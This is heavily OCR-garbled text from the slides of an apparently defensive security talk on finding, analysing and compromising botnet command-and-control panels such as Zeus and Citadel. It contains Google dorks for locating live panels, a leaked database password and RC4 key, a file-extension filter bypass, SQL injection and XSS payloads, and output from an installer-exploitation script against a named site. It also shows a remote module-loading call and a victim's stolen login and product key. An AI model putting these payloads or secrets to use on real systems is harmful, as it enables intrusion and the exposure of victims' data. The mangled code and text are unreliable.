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Introduction



Introduction  °A collection of internet-connected
compromised machines

*To perform objectives in the hand of
Bot master - Malicious

‘Ex. Zeus, Ice 12X, Citadel, SpyEye, and
Athena



Introduction  °Machine to manage bot

C&C

*Send instructions and receive data

Servers




Introduction
How It Works

-~

N

Infect the system

e

Gather credentials-PII

-

Upload data to C&C
Server

o




http://thumbs.dreamstime.com/z/vector-detective-illustration-flat-style-surveillance-control-concept-big-
brother-watching-you-37752327.jpg




Detection
Methods

Google Dorks

Network Traffic Analysis

Public C&C Trackers



/

Detection

Methods \Google Advance search techniques

-
SoogleDarle i.e. inurl, intitle, filetype, etc.
N
inurl: “/adm/index.php?m=Llogin" - Google Search - Tor Browser
x | Index of fimg/web x;-" inurl: "fadm/findex.ph... % I%l
B Hh thps.//wwiw gnngle;cam/ ?gta. rascrdei=MofGVebgD-yXBGenhZbdBwigws ™~ G‘t i

Nurr maex Acuorn - sedrcn - maex.prnp-sscreen
ec2-23-23-158-162 compute- 1 .amazonaws .com/lnurl+index+Action ~

ICE 1¥ -inurl: "admiindex.php?m=Ilogin" Citadel -inurl: "cp.php?m=login" ... iStealer-
inurl: "index php?action=logs" intitle: "login® SpyEye -inurl: “frmecp/” BY .

login - Pure Soccer Academy
puresoccer.comfinfo/admfindex.php?m=login ~
Login. User name: Password: Remember (MDS cookies)
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Detection
Methods N

Citadel or Zeus - inur1l: “cp.php?m=login”

-

Goog|e Dorks ICE IX - inurl:“adm/index.php?m=login”
-

-

SpyEye -inurl:“/frmcp/”
o

-

iStealer - inur1: “/index.php?action=logs”
intitle:“login”
N

-

Beta Bot - inurl:“login.php” intext:“myNews Content
Manager”

\_




Detection
Methods

Network Traffic

Analysis

Monitor traffics

Plasma HTTP Bot example traffic:

POST /panel/gate.php HTTP/1.1

comtent-Type: application/x-www-form-urlencoded
HOST : www. raoZat. com

Content-Length: 262

Expect: 100-continue

Connecrtion: Keep=Alive

crypt-?quan‘l Z2ckSwar p:.rwtg{rcﬂkmmIKEMijLzﬁmgm‘fwnaﬂ QASVONE IKFWdRB iMpOEVOUMCVNEIPIF
EsvGduTkKgd SKxd SMZBSTER guc:ugwaﬂFmcunncuHElnzzhzﬂmcj1HTUMEHBHBITEEIUJHIHUKUQEUSE1kvnp1h
plezBEpsQvdkK2gDegeDIzd3bk SwaxpSNwTwMwg NOMMZ 4 axM zgeM 2 YWZ Ov zykh j yOMank JwZ mRmywIDM 11 TOHTTR/
1.1 200 oK

Dare: Tue, 18 Feb 2014 19:59:27 GMT

server: Litespeed

Connection: close

¥-Powered-gy: PHP/5.3.28

Content-Type: text/html

Content-Length: 420

=AfqMFREVKUIRF miclmaﬂchjkuﬂt 1 §1‘h-ﬂum9|uaggl.q-aznw jovzmbpiibpFGajv2ZvRmL xOwdOFmcON3LY
oDcjRIKTvHdhIHdZBYbTAC anc]HHIh:hKﬁgEmrxrm3 )

12b512LwBSMFNXZHT TWSByC ] xwam9sMvkechaC d0 552 gy L 6AHdONGI DI XYONNL yvmbplGF gMXZ SEYZ LACNZITMgA
XLQUHENSS5ZudGdzFmbypGI11C I SMaM zoThyNmL yvGd zFmZ oNXYo5SZnoGZ u0wd0FmeON 3L voDe jRIKTVHdhIHd 2By
btACdwInCciNHIhLiKgOWYvxmbI9GZ /

12bs 32LwBEMHIKUOZUS2 Bve TxwamdsMvkGchoC d0 552 n0vi 6AHdOhGI 01X YONNLIB 2ZuTxZ uTwh



Detection

Methods Independent researchers

e Cyber Crime Tracker - http://cybercrime-
tracker.net/index.php

e Zeus Tracker - https://zeustracker.abuse.ch/

e SpyEye Tracker - https://spyeyetracker.abuse.ch/
e Palevo Tracker - https://palevotracker.abuse.ch/
e Feodo Tracker - https://feodotracker.abuse.ch/

e Daily Botnet Statistics - http://botnet-

Public C&C tracker.blogspot.com/

Trackers

CYBERCRIMNE
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'|.com.“banl-:c-farng_ri_u:.-'BzOhxnr' W C"'| 'n.V Search 'Qi o Tl

Personal Small Business Wealth Management Businesses & Institutions

ica >
Bankﬂfﬂmerlca Locations | ContactUs | Help | Enespafiol | Search Bank of

Enter your Online ID

_ signin B Banking ‘ Credit Cards ‘ Loans ‘ Investments {33 ‘

W s:ve this Oniine D

»  Help/options Enroll

———
Checking + Mobile Banking = Convenience E

Get a checking account that goes wherever you go.

-

information for: | Select a state E' Advg

.com/bankofameric/BzOhxn/




Securing C&C Panels

https://pixabay.com/get/52972f3a772794c94c16/1439055210/padlock-40192_1280.png?direct



Securing
Mechanisms

Gate Component

Cryptographic Key

Login Page Key



Verify ID

S eC U rl n g - ‘ Transmit
Mechanisms [ < &X

i e
OO0
'-.___'-.,;.,,. 'I". |, LII__'_.;'::"':,
3 e 1:::51.."'_- o B .::: f—-’"-
Compromised Gate
G Fets) C&C Panel
Component P

Act as a gateway

-

Verify host identity

Transmit to C&C Panel

N

Gate.php




. Extracted Code from gate component:
Securing ) P
if (empty ($1ist [SBCID BOT VERSION]) ||

M ECha n |SmS empty (51ist [SBCID BOT ID]))die();

if (!connectToDb () )die() ;

Gate $SbotId = str replace("\x01l", "\x02", trim($list[SBCID BOT ID]));
$botIdQ = addslashes (SbotId);
Component $botnet = (empty(S1ist[SBCID BOTNET])) ? DEFAULT BOTNET :

str_replace ("\x01", "\x02", trim($list[SBCID BOTNET]));
SbotnetQ = addslashes ($botnet) ;

$botVersion = toUint ($1ist[SBCID BOT VERSION]) ;
Sreallpv4 = trim((!empty($ GET[’ip’]) ? $_GET[’ip’]

$ SERVER[’/REMOTE ADDR’])) ;

Scountry = getCountryIpvid();

ScountryQ = addslashes (Scountry);

ScurTime = time();



-~

Securing Encryption and authentication

N [

Mechanisms
RC4 algorithm

-

Hard-coded in configuration file

-

Cryptographic

Key Zeus and Citadel

\

Extracted from configuration file:

sconfig[’'mysqgl host’] "localhost’;

sconfig[’'mysgl user’] = ’specific wpl’;
sconfig[’'mysgl pass’] = ’X8psH64kYa’;
sconfig['mysqgl db’] = ’'specific WP';
sconfig[’botnet timeout’] = 1500;

$config[’'botnet cryptkey’] = 'pelli$lOpelli’;



4 N

Securlng Added authentication feature
Mechanisms | )
a I
Without login page key:
\ J

* WWww.CC-server.com/panel/index.php

LWith login page key: j

* www.Ccc-server.com/panel/index.php?key=[value]




ompromise methods

B = ThE = R e .

http://fthumbg.shutterstock.com/display_pic_with_logo/1947692/231475606/stock-vector-hacker-internet-security-concept-flat-design-vector-illustration-231475606.jpg



Compromised
Methods Malware RE

Backdoor access to Hosting Server

C&C Panels Weaknesses




Compromised [ :

Methods Obtain the malware
- /
” \
Obtain RC4 key via memory dump
E /
: )

Upload remote management shells to server

via upload vulnerability

. /

 Block .php, .php3, .phpg, .phps, .php, .asp, .aspx, .exe,
.pl, .cqi, .cmd, .bat, .phtml, .htaccess

e Apache treats .php. as a valid .php = file.php.




Compromised
Methods

Malware RE

Regiztry

Ualue 1

Ualue 2

U‘I]Ill" 3

-wocutahble

Data File
Fig
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Compromised ( )

Methods Find others’ vulnerabilities
. g
Upload remote management shells
N J
4 N
Notorious Datacenter support systems — Pwning through
outer sphere: Exploitation Analysis of Help Desk Systems
-

J




Compromised
Methods

C&C Panels Weaknesses

.
Insecure Deployment

N

(

Exposed Directory Structure

-
/

Unprotected Components

N

SQL Injection, XSS

Open Ports

Weak Password and Login Page Key




Compromised
Methods

Insecure Deployment

Y4

Exposed Directory Structure

Unprotected Components

SQL Injection, XSS

Open Ports

Y4

AN

Weak Password and Login
Page Key

Third party software.

*i.e. XAMPP.

"XAMPP is not meant for production use but only for
development environments. The way XAMPP 1s configured is to
be open as possible to allow the developer anything he/she
wants. For development environments this is great but in a
production environment it could be fatal”

Here a list of missing security in XAMPP:

The MySQL administrator (root) has no password.

The MySQL daemon 1is accessible via network.

ProFTPD uses the password "lampp" for user "daemon".
PhpMyAdmin 1s accessible via network.

Examples are accessible via network.

(G2 TN OV RN N I

https://www.apachefriends.org/fag_linux.html



Compromised

Methods

-

Insecure Deployment

Y4

Exposed Directory Structure

Unprotected Components

SQL Injection, XSS

Open Ports

Weak Password and Login
Page Key

[Exposed Directory Structure

e /adm

e /config

e /redirect
* [_reports
e /install

e /theme



Compromised
Methods

-

AYd

Insecure Deployment

Exposed Directory Structure

AN

Y4

Unprotected Components

SQL Injection, XSS

Open Ports

Y4

AN

Weak Password and Login
Page Key

!/ pu r.com/info/adm/ihdex, php?m=Llogin
Login
User name: | |
Password: | |
|| Remember (MD5 cookies)

St @ w (- <& pu r.comfinfo/

Index of /info

e Parent Directory
e adm/

e config/
e redirect/

Apache Server at pt r.com FPort 80




Compromised

Methods

Insecure Deployment

Y

Exposed Directory Structure

A& %
4 7
Unprotected Components
A\ J
4 7\
SQL Injection, XSS
A\ J
4 7
Open Ports
- J
4 N
Weak Password and Login
Page Key
- J

inurl:"adm/index.ph... X | login ® | Index of fimg/web/redi...

S @ v (€)@ coring/webirediecy Gie

Index of /img/web/redirect

e Parent Directory

« I'3.php
e readme. txt

Protected byl |WAF Serverato_______ han.com Port 80

. ~/Downloads/practicalsecurity# cat r3.php

: ~/Downloads/practical security# cat readme.txt

Use ZEND or ION Cube to protect file and hide path to real server with admin panel.




Compromised
Methods

4 2

Insecure Deployment

N
&

Exposed Directory Structure

Unprotected Components

ss & v € _ “lcom/img/

vebfadm/_reports/

Index of /img/web/adm/ reports

e Parent Directory

1.com/img/web/adm/_reports/files/ w

. ﬂ 5:" @ w é
FProteq

Index of /img/web/adm/ reports/files

(& J
4 N
SQL Injection, XSS
(& J
4 M
Ports Mapping
& J
4 )
Weak Password and Login
Page Key
& J

St @ e * ' romfimg/web/adm/_reports/files/default/ v »

S & v € 3

com/img/web/adm/_reports/files/defaul t/SERVER_0998D3~ C

Index of /img/web/adm/ reports/files
/default/SERVER 0998D3221E282C9A

+ Parent Directory

Protected by VAF Server at 1.com Port 80

»

e SLRVEH UARDAMGo 096 DDA]
o« SERVER 0508433BCAZI537




Compromised ERRNEI -y e o e S
Methods Index of /img/web/adm/_reports/files

/default/SERVER 0998D3221E282C9A

) |/certs
Insecure Deployment
- ) e Parent Directory
c D e tf 772bec_6b2b8bc7.php.inc
Exposed Directory Structure Protected byl WAFServeratl __ |.com Port 80
N J
( ) ‘Downloads |u ut'u alsecurity# cat tf_772bec_BbZbSbc7.php.1inc
Unprotected Components <!1D0C T'TF'E I-ITHL PUBLIC "-//IETF//OTD HTHL 2. 0//EN"=

/ X </title=

4 ~N ¥

L Injection, X : _ , g i
>Q Jection, >3 < permission to access /img/web/adm/_reports/files/default/SERVER 09580322

/ Zbec_6b2bSbc7. php.1nc

4 ~N g

Ports Mappin 404 Not lend
ppIng i
\ J
e . A = >Protected by_ Server at _ com Port 80</a
Weak Password and Login /himl=>
Page Key

J
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Insecure Deployment

Y4

Exposed Directory Structure

A
-

Unprotected Components

AN

SQL Injection, XSS

Ports Mapping

Y4

AN

Weak Password and Login
Page Key

s @ b ¥ 1.comfimg/web/adm/install/

Control Panel 1.1.7 Installer

This application update/repair and
reconfigure your control panel on this
server. If you want make new
installation, please remove file
"..Isystem/config.php'.

MySQL server:

Lcomfinfofadm/installs w

Control Panel 1.1.7 Installer

This application update/repair and
reconfigure your control panel on this
server. If you want make new
installation, please remove file
'..fsystem/config.php'.

MySQL server:

Database: nnthrsix_db

| Update |




Compromised Citadel C&C Panel:

thon zeus_ice_cita_installer_checkar. http: /Fsa aymarricge. iz wordpress ap=includes
o ] Py p Y q - uip
/fozpp
( ) [+] target : (http://saynoZgaymarriage.biz/wordpress/up-includes/fozpp/install/indez.php) |
Insecure Deployment access_code : (200)
[#] install directory is exposed on the target CEC !
> < [-] installed CEC version : Control Panel 1.3.5.1 Installer
. [#*] detected MySQL DB on the C&C panel iz : sayno2ga_foxpp
Exposed Directory Structure
(& J
s N [#] extracting installer informatiemn, wait for few seconds for the POST request to execute
..... !
UnprOteCted Components [#] installer query resulted in following information from : http://sayno2gaymarricge.biz/
L J wordpress/up-includes/fozpp/install/index. php
4 N
SQL Injection XSS <td align="left" class="success">L#B226; [0] - Connecting to My3QL as <b>'saynolga_foxpp'</
! b>.</td>
N / <td align="left" class="success">k#8228; [0] - Selecting DB <b>'sayno2ga_ foxpp’'</b>.</td>
( ) <td align="left" class="success">E#B226; [0] - Updating table <b>'botnet_list’</b>.</td>
Ports Mapping <td align="left" class="success">E#B8226; [0] - Creating table <b>'botnet_reports’</b>.</td>»
<td align="left" class="success">E#B8226; [1] - <small>Updating table <b>'
> < botnet_reports_140601'</b>.</small></td>
Weak Password and Login m=m===——————=——= TRONCATED --———————r=—==—
Page Ke <td align="left" class="success">&#8226; [2] - Updating table <b>’botnet_webinjects_group’
ge key </b>.</td>
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Insecure Deployment

Y4

Exposed Directory Structure

N [~

Unprotected Components

N [

SQL Injection, XSS

Ports Mapping

Y4

AN

Weak Password and Login
Page Key

Citadel C&C Panel:

<td
<td
<td
<td
<td
<td
<td
<td
<td
<td
<td
<td
<td

<td

[+]

align="left" class="success">&#8226; [2] - Updating table <b>’

botnet_webinjects_group_perms’</b>.</td>

align="left" class="success">L#8226; [2] - Updating table <b>’'botnet_webinjects'</b>.</

td>

align="left" class="success">k#B226; [2] - Updating table <b>’'botnet_webinjects_bundle’

< /b, </ ed>

align="left" class="success">&#B8226; [2] - Updating table <b>’

botnet _webinjects_bundle_execlim’</b>.</td>

[2] = Updating table <b>*
botnet_webinjects_bundle_members'</b>.</td>

align="left" class="success">L#B8226; [2] - Updating table <b>’botnet_webinjects_history

align="left" class="success">E#B226;

Y</bx. </ td>
alipgn="left" class="success">Ek#B226; [2] - Creating folder <b>’_reportsl3306113'</b>.</
td>
align="left" class="success">E#8226; [2] - Writing config file</td>
align="left" class="success">E#B8226; [2] - Searching for the god particle...</td>
align="left" class="success">k#8226; [3] - Creating folder <b>’system/data’</b>.</td>
align="left" class="success">k#8226; [3] - Creating folder <b>’public’</b>.</td>
align="left" class="success">E#B226; [3] - Creating folder <b>'{files’</b>.</td>
align="left" class="success">k#B8226; [3] - Creating folder <b>’{files/webinjects’</b>.</
td>
align="laft" class="success"><h>-- Update completal ==-</b></td>

generated raw file for analysis: 2014-06-30T19:29:04.166664.html
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Insecure Deployment

Y4

Exposed Directory Structure

AN

V4

Unprotected Components

AN

Y4

SQL Injection, XSS

Y4

Ports Mapping

AN

AN

Y4

Weak Password and Login
Page Key

J# legl. . ~'rootiocaihost-36a780... | 4

Floaen whber gassmesd _r-h |
Wy s s

C O D @ np I frmecpoytrm_findrep_sub2.phptide-99999% union all select 0x31,cone

BE Most Visited v [9 Getting Started Bl Latest Headlines «

<forn omalmit="sthi); return false "»

«div fd="div_suth'>
=/diw

<Label>Please. enter password: </labelacinput types'passwerd’ ide’passvord’ names'password > <lngput Types'subeit” walve Enter'»

| </ lores

| escript o SP @ v (' di'php,’" onmouseover="JlavaScript:alert{document.location)” value="?m=Llogin ¥ G'| |D.V Search

| #l = dot
if (e}
«/scrigt

]

http:kumfinfofadmfindex.php

192 2%2 0onmouseover="%22Z]avaScript:alert (docurment.location)

%62 2%2 Ovalue="%227m=login
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Insecure Deployment

Y4
o

Exposed Directory Structure

Unprotected Components

SQL Injection

Y4

AN

Ports Mapping

N [
AN

Weak Password and Login

Page Key

[Find other open ports to get resources

& €c8966.com:al /emd e

loadmodule("http://cc9966.com/clk”,"clk”)

- Sy
= )
You have chosen to open:
ﬁr_md

which is: application/octet-stream (1.6 KB)
from: hittp://cc9966.com:B1

What should Firefox do with this file?

_| Do this gutomatically for files like this from now on.

o] [
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Y4
&

Exposed Directory Structure

Unprotected Components

(& J
4 N
SQL Injection
(& J
4 M

Ports Mapping

AN

N

Weak Password and Login

Page Key

Hello,

Program

Trillian/Yahoo -

Pages:

admin

Show All Logs Search Export All Logs Logout

Url / Host Login

Password Computer Date 1Ip
Check other 2013-05-

www.steampowered.com timissteurjonas passwords of G | 109.62.38.133 B

user 18:22:59

Microsoft Windows 7  4FG99-BC3HD- 2013-05-

Premium
Results 0 - 1000 of about 2

Edition Familiale 73CQT-wMF7)- I o 109.62.38.133 B

3Q6C9 18:04:43

Copy Selected | | Export Selected | | Delete Selected

Page Reccuei Stealer




The End
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